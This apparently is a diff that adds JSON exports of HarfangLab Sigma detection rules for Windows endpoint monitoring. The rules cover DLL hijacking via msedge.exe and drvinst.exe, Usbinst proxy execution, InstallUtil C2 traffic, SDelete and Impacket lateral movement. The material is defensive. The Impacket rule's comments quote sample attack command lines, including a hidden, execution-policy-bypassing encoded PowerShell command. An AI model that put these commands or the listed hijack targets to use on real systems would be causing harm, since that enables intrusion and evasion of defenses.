+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598780Z",
+  "creation_date": "2026-03-23T11:45:34.598784Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598791Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_msedge.yml",
+  "content": "title: DLL Hijacking via msedge.exe\nid: 10614140-6f5c-442a-b818-e7f6202dc54a\ndescription: |\n    Detects potential Windows DLL Hijacking via msedge.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'msedge.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith:\n            - '\\dataexchange.dll'\n            - '\\explorerframe.dll'\n            - '\\fastprox.dll'\n            - '\\msctf.dll'\n            - '\\mswsock.dll'\n            - '\\netprofm.dll'\n            - '\\npmproxy.dll'\n            - '\\ntmarta.dll'\n            - '\\propsys.dll'\n            - '\\rsaenh.dll'\n            - '\\twinapi.dll'\n            - '\\wbemprox.dll'\n            - '\\wbemsvc.dll'\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n            - '\\windowsudk.shellcommon.dll'\n            - '\\xmllite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\SysWOW64\\\\wbem\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\System32\\\\wbem\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\Windows\\WinSxS\\\\wbem\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "10614140-6f5c-442a-b818-e7f6202dc54a",
+  "rule_name": "DLL Hijacking via msedge.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via msedge.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "106504ea-01dd-41ce-a381-3e8f27c77ff0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077409Z",
+  "creation_date": "2026-03-23T11:45:34.077411Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077415Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/api0cradle/LOLBAS/blob/master/OtherBinaries/Usbinst.md",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_usbinst.yml",
+  "content": "title: Proxy Execution via Usbinst\nid: 106504ea-01dd-41ce-a381-3e8f27c77ff0\ndescription: |\n    Detects a suspicious execution of Citrix Usbinst.exe to proxy execution of malicious code.\n    This binary, which is signed by Citrix, can be used to start malicious binaries whose inf file is passed as a parameter to usbinst.\n    Attackers may abuse it to bypass security restrictions.\n    It is recommended to use a \"File download\" job to donwload and analyze the .inf file present in the command-line for malicious content.\nreferences:\n    - https://github.com/api0cradle/LOLBAS/blob/master/OtherBinaries/Usbinst.md\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/12/04\nmodified: 2025/11/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        # By default C:\\Program Files (x86)\\Citrix\\ICA Client\\Drivers64\\Usbinst.exe\n        - OriginalFileName: 'USBINST.EXE'\n        - Image|endswith: '\\usbinst.exe'\n\n    selection_arg:\n        CommandLine|contains|all:\n            - ' InstallHinfSection'\n            - 'DefaultInstall'\n\n    exclusion_citrix:\n        - Image|endswith:\n            - '\\Drivers64\\usbinst.exe'\n            - '\\Devices64\\usbinst.exe'\n          Signed: 'true'\n          Signature: 'Citrix Systems, Inc.'\n        - CommandLine|contains:\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\Receiver\\Drivers64\\ctxusbm\\ctxusbmon.inf'\n            - '?:\\Program Files\\Citrix\\ICA Client\\Drivers64\\ctxusbm\\ctxusbmon.inf'\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\Drivers64\\ctxusbm\\ctxusbmon.inf'\n            - '?:\\Program Files\\Citrix\\ICA Client\\Drivers32\\ctxusbm\\ctxusbmon.inf'\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\Drivers32\\ctxusbm\\ctxusbmon.inf'\n            - '?:\\Program Files\\Citrix\\AppDataProtection\\Drivers64\\ctxusbm\\ctxusbmon.inf'\n            - '?:\\Program Files (x86)\\Citrix\\AppDataProtection\\Drivers64\\ctxusbm\\ctxusbmon.inf'\n            - '?:\\Program Files\\Citrix\\ICA Client\\Drivers64\\ctxusbm\\ctxusbm.inf'\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\Drivers64\\ctxusbm\\ctxusbm.inf'\n            - '?:\\Program Files\\Citrix\\ICA Client\\Drivers32\\ctxusbm\\ctxusbm.inf'\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\Drivers32\\ctxusbm\\ctxusbm.inf'\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\Devices64\\ctxusbm\\ctxusbmon.inf'\n\n    condition: selection and selection_arg and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "106504ea-01dd-41ce-a381-3e8f27c77ff0",
+  "rule_name": "Proxy Execution via Usbinst",
+  "rule_description": "Detects a suspicious execution of Citrix Usbinst.exe to proxy execution of malicious code.\nThis binary, which is signed by Citrix, can be used to start malicious binaries whose inf file is passed as a parameter to usbinst.\nAttackers may abuse it to bypass security restrictions.\nIt is recommended to use a \"File download\" job to donwload and analyze the .inf file present in the command-line for malicious content.\n",
+  "rule_creation_date": "2022-12-04",
+  "rule_modified_date": "2025-11-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "108163b7-c707-4764-bf00-b43b3ae7e56d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080094Z",
+  "creation_date": "2026-03-23T11:45:34.080096Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080100Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/cobbr/Covenant",
+    "https://attack.mitre.org/techniques/T1218/004/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1218_004_installutil_suspicious_network_communication.yml",
+  "content": "title: Suspicious InstallUtil.exe Network Communication\nid: 108163b7-c707-4764-bf00-b43b3ae7e56d\ndescription: |\n    Detects a suspicious network communication from InstallUtil.exe.\n    Attackers have used InstallUtil in the past to execute a malicious Beacon stager. It is commonly used for the Covenant Framework InstallUtil launcher.\n    Covenant is a .NET command and control framework that aims to highlight the attack surface of .NET.\n    It is recommended to investigate all InstallUtil.exe network connections, correlate with process execution logs and .NET assembly loads, and terminate any suspicious communications.\nreferences:\n    - https://github.com/cobbr/Covenant\n    - https://attack.mitre.org/techniques/T1218/004/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2021/11/10\nmodified: 2025/05/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.004\n    - attack.command_and_control\n    - attack.t1071\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Framework.Covenant\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: network_connection\ndetection:\n    selection:\n        - Image|endswith: '\\InstallUtil.exe'\n        - ProcessOriginalFileName: 'InstallUtil.exe'\n\n    exclusion_localhost:\n        DestinationIp:\n            - '127.0.0.1'\n            - '::1'\n\n    exclusion_programfiles:\n        ProcessCommandLine|contains:\n            - '\\InstallUtil.exe *:\\Program Files\\'\n            - '\\InstallUtil.exe *:\\Program Files (x86)\\'\n\n    exclusion_archimed:\n        - ProcessParentImage: '?:\\Program Files (x86)\\Archimed\\Elise\\EliseInstallUninstall.exe'\n        - ProcessParentCommandLine: '?:\\Windows\\system32\\cmd.exe /c ?:\\Program Files (x86)\\Common Files\\Archimed\\Crystal Framework v4\\\\*'\n        - ProcessCurrentDirectory:\n            - '?:\\Program Files (x86)\\Common Files\\Archimed\\Crystal Framework v4'\n            - '?:\\Program Files (x86)\\Common Files\\Archimed\\Crystal Framework v4\\'\n\n    exclusion_devexpress:\n        ProcessParentImage|endswith: '\\DevExpressComponents-*.exe'\n        ProcessCommandLine|contains|all:\n            - ' /LogFile='\n            - ' /DemosDir='\n            - ' /DemosName=Components '\n            - '\\Components\\System\\Components\\DevExpress.DemosUpdater.dll'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "108163b7-c707-4764-bf00-b43b3ae7e56d",
+  "rule_name": "Suspicious InstallUtil.exe Network Communication",
+  "rule_description": "Detects a suspicious network communication from InstallUtil.exe.\nAttackers have used InstallUtil in the past to execute a malicious Beacon stager. It is commonly used for the Covenant Framework InstallUtil launcher.\nCovenant is a .NET command and control framework that aims to highlight the attack surface of .NET.\nIt is recommended to investigate all InstallUtil.exe network connections, correlate with process execution logs and .NET assembly loads, and terminate any suspicious communications.\n",
+  "rule_creation_date": "2021-11-10",
+  "rule_modified_date": "2025-05-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1218.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "108c4c3b-fe29-4e66-8036-5c56b0423fcb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087529Z",
+  "creation_date": "2026-03-23T11:45:34.087532Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087539Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://technet.microsoft.com/en-us/en-en/sysinternals/sdelete.aspx",
+    "https://attack.mitre.org/techniques/T1070/004/",
+    "https://attack.mitre.org/software/S0195/"
+  ],
+  "name": "t1070_004_sdelete.yml",
+  "content": "title: SDelete Tool Execution\nid: 108c4c3b-fe29-4e66-8036-5c56b0423fcb\ndescription: |\n    Detects the execution of SDelete tool, an application that securely deletes data in a way that makes it unrecoverable.\n    This tool is part of the Microsoft Sysinternals suite tools and is often used by attackers to removal files behind their malicious activities.\n    It is recommended to analyze both the parent process and the deleted files to determine whether this action has legitimate intent.\nreferences:\n    - https://technet.microsoft.com/en-us/en-en/sysinternals/sdelete.aspx\n    - https://attack.mitre.org/techniques/T1070/004/\n    - https://attack.mitre.org/software/S0195/\ndate: 2021/06/18\nmodified: 2025/11/17\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.004\n    - attack.t1485\n    - attack.s0195\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.SDelete\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Deletion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith:\n          - '\\sdelete.exe'\n          - '\\sdelete64.exe'\n        OriginalFileName: 'sdelete.exe'\n\n    exclusion_image:\n        Image:\n            - '?:\\ProgramData\\chocolatey\\bin\\sdelete.exe'\n            - '?:\\Program Files (x86)\\Skidata\\ParkingSW\\\\*\\Tools\\sdelete.exe'\n\n    exclusion_generic_scripts_folder:\n        ProcessGrandparentCommandLine|startswith: 'cscript.exe \\\\\\\\*\\\\*$\\Scripts\\'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "108c4c3b-fe29-4e66-8036-5c56b0423fcb",
+  "rule_name": "SDelete Tool Execution",
+  "rule_description": "Detects the execution of SDelete tool, an application that securely deletes data in a way that makes it unrecoverable.\nThis tool is part of the Microsoft Sysinternals suite tools and is often used by attackers to removal files behind their malicious activities.\nIt is recommended to analyze both the parent process and the deleted files to determine whether this action has legitimate intent.\n",
+  "rule_creation_date": "2021-06-18",
+  "rule_modified_date": "2025-11-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.004",
+    "attack.t1485"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "10a3eb4c-d254-488d-843c-5e77fb2f6b4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075752Z",
+  "creation_date": "2026-03-23T11:45:34.075754Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075759Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_drvinst.yml",
+  "content": "title: DLL Hijacking via drvinst.exe\nid: 10a3eb4c-d254-488d-843c-5e77fb2f6b4c\ndescription: |\n    Detects potential Windows DLL Hijacking via drvinst.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'drvinst.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\DEVRTL.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "10a3eb4c-d254-488d-843c-5e77fb2f6b4c",
+  "rule_name": "DLL Hijacking via drvinst.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via drvinst.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "10c14723-61c7-4c75-92ca-9af245723ad2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628613Z",
+  "creation_date": "2026-03-23T11:45:34.628615Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628619Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py",
+    "https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py",
+    "https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py",
+    "https://github.com/SecureAuthCorp/impacket/blob/master/examples/dcomexec.py",
+    "https://attack.mitre.org/software/S0357/"
+  ],
+  "name": "t1047_impacket_lateral_movement.yml",
+  "content": "title: Impacket Lateral Movement Detected\nid: 10c14723-61c7-4c75-92ca-9af245723ad2\ndescription: |\n    Detects wmiexec/dcomexec/atexec/smbexec from the Impacket framework.\n    Impacket is a collection of Python classes for working with network protocols.\n    Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself.\n    It is often used by threat actors to perform lateral movements.\n    It is recommended investigate the process tree for suspicious activities.\n    Is is also recommended to investigate the network type authentications at the same time in order to get the IP address of the computer from which the lateral movement comes from.\nreferences:\n    - https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py\n    - https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py\n    - https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py\n    - https://github.com/SecureAuthCorp/impacket/blob/master/examples/dcomexec.py\n    - https://attack.mitre.org/software/S0357/\ndate: 2019/09/03\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1047\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.t1021.003\n    - attack.s0357\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Impacket\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_other:\n        # *** wmiexec.py\n        #    parent is wmiprvse.exe\n        #    examples:\n        #       cmd.exe /Q /c whoami 1> \\\\127.0.0.1\\ADMIN$\\__1567439113.54 2>&1\n        #       cmd.exe /Q /c cd  1> \\\\127.0.0.1\\ADMIN$\\__1567439113.54 2>&1\n        # *** dcomexec.py -object MMC20\n        #   parent is mmc.exe\n        #   example:\n        #       \"C:\\Windows\\System32\\cmd.exe\" /Q /c cd  1> \\\\127.0.0.1\\ADMIN$\\__1567442499.05 2>&1\n        # *** dcomexec.py -object ShellBrowserWindow\n        #  runs %SystemRoot%\\System32\\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880} but parent command is explorer.exe\n        #  example:\n        #   \"C:\\Windows\\System32\\cmd.exe\" /Q /c cd \\ 1> \\\\127.0.0.1\\ADMIN$\\__1567520103.71 2>&1\n        # *** smbexec.py\n        #   parent is services.exe\n        #   example:\n        #       C:\\Windows\\system32\\cmd.exe /Q /c echo tasklist ^> \\\\127.0.0.1\\C$\\__output 2^>^&1 > C:\\Windows\\TEMP\\execute.bat & C:\\Windows\\system32\\cmd.exe /Q /c C:\\Windows\\TEMP\\execute.bat & del C:\\Windows\\TEMP\\execute.bat\n        #       C:\\Windows\\system32\\cmd.exe /Q /c powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiADsAdwBoAG8AYQBtAGkA 1> \\\\127.0.0.1\\ADMIN$\\__1615559515.6162736 2>&1\n        ParentImage|endswith:\n            - '\\wmiprvse.exe'  # wmiexec\n            - '\\mmc.exe'  # dcomexec MMC\n            - '\\explorer.exe'  # dcomexec ShellBrowserWindow\n            - '\\services.exe'  # smbexec\n        CommandLine:\n            # wmiexec.py and dcomexec.py\n            - '*cmd.exe* /Q /c * 1> \\\\\\\\127.0.0.1\\\\* 2>&1'\n            # smbexec.py\n            - '*cmd.exe* /Q /c * ^> \\\\\\\\127.0.0.1\\\\* 2^>^&1 > *'\n            - '*powershell.exe* -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiADsA*'\n\n    selection_atexec:\n        ParentCommandLine|contains:\n            - 'svchost.exe -k netsvcs' # atexec on win10 (parent can be \"C:\\Windows\\system32\\svchost.exe -k netsvcs\" or \"C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule\")\n            - 'taskeng.exe' # atexec on win7 (parent is \"taskeng.exe {AFA79333-694C-4BEE-910E-E57D9A3518F6} S-1-5-18:NT AUTHORITY\\System:Service:\")\n        # cmd.exe /C tasklist /m > C:\\Windows\\Temp\\bAJrYQtL.tmp 2>&1\n        CommandLine: 'cmd.exe /C *Windows\\\\Temp\\\\*&1'\n\n    condition: 1 of selection_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "10c14723-61c7-4c75-92ca-9af245723ad2",
+  "rule_name": "Impacket Lateral Movement Detected",
+  "rule_description": "Detects wmiexec/dcomexec/atexec/smbexec from the Impacket framework.\nImpacket is a collection of Python classes for working with network protocols.\nImpacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself.\nIt is often used by threat actors to perform lateral movements.\nIt is recommended investigate the process tree for suspicious activities.\nIs is also recommended to investigate the network type authentications at the same time in order to get the IP address of the computer from which the lateral movement comes from.\n",
+  "rule_creation_date": "2019-09-03",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
